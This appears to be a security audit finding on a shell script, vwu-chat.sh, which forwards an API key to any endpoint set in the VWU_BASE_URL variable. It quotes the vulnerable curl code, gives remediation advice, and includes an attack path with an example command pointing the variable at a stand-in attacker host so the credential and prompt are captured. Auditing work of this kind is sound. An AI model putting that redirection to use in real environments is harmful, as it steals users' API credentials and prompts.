T09 · Insecure Skill Coding Practices
- Location
vwu-chat.sh:7- Finding
API Credential Disclosure Through an Unrestricted Endpoint Override
- Content
View full analysis
Vulnerability Details
File Location:
vwu-chat.sh, lines 7 and 30–32
Vulnerability Type: Unrestricted credential destination
Risk Level: MediumVulnerable Code
zsh VWU_BASE_URL="${VWU_BASE_URL:-https://vwu.ai}"zsh response=$(curl -s "$VWU_BASE_URL/v1/chat/completions" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $VWU_API_KEY" \Technical Analysis
The script permits the API destination to be replaced through the
VWU_BASE_URLenvironment variable. It does not validate the URL scheme or hostname before attaching the bearer credential fromVWU_API_KEY.Consequently, a modified execution environment can redirect the request to an arbitrary server. The API key and user prompt are then transmitted to that server. An HTTP URL can also be supplied, allowing both values to cross the network without transport encryption.
The default endpoint is the service documented by the project, and there is no evidence of intentional exfiltration. The vulnerability arises from combining an unrestricted endpoint override with unconditional credential forwarding.
Attack Path
- An attacker compromises a launcher, shell profile, automation configuration, or other mechanism that controls the script's environment.
- The attacker sets an arbitrary endpoint, such as:
sh export VWU_BASE_URL="https://attacker.example" - The user invokes
vwu-chat.shwith a model and prompt. - The script constructs a request to
https://attacker.example/v1/chat/completions. - The request includes
Authorization: Bearer $VWU_API_KEYand the user's prompt. - The attacker-controlled server records the credential and prompt.
- The stolen credential can subsequently be used against the legitimate service within the permissions and quota assigned to that API key.
Impact Assessment
Successful exploitation can disclose:
- The complete `VWU_API_K ...[truncated 426 chars]
- Remediation
View remediation
Remediation Suggestions
- Remove the
VWU_BASE_URLoverride if custom endpoints are not an explicit requirement. - If endpoint customization is required, parse and validate the URL before making the request.
- Require HTTPS and reject plaintext HTTP endpoints.
- Restrict credential-bearing requests to an explicit hostname allowlist.
- Do not forward the production API key to custom endpoints by default; require a separate credential variable for non-default services.
- Display a clear confirmation or warning when a non-default endpoint is selected.
- Consider rejecting URLs containing user information, unexpected ports, fragments, or other ambiguous components.
- Add tests confirming that unapproved schemes and hostnames are rejected before
curlis executed.
- Remove the
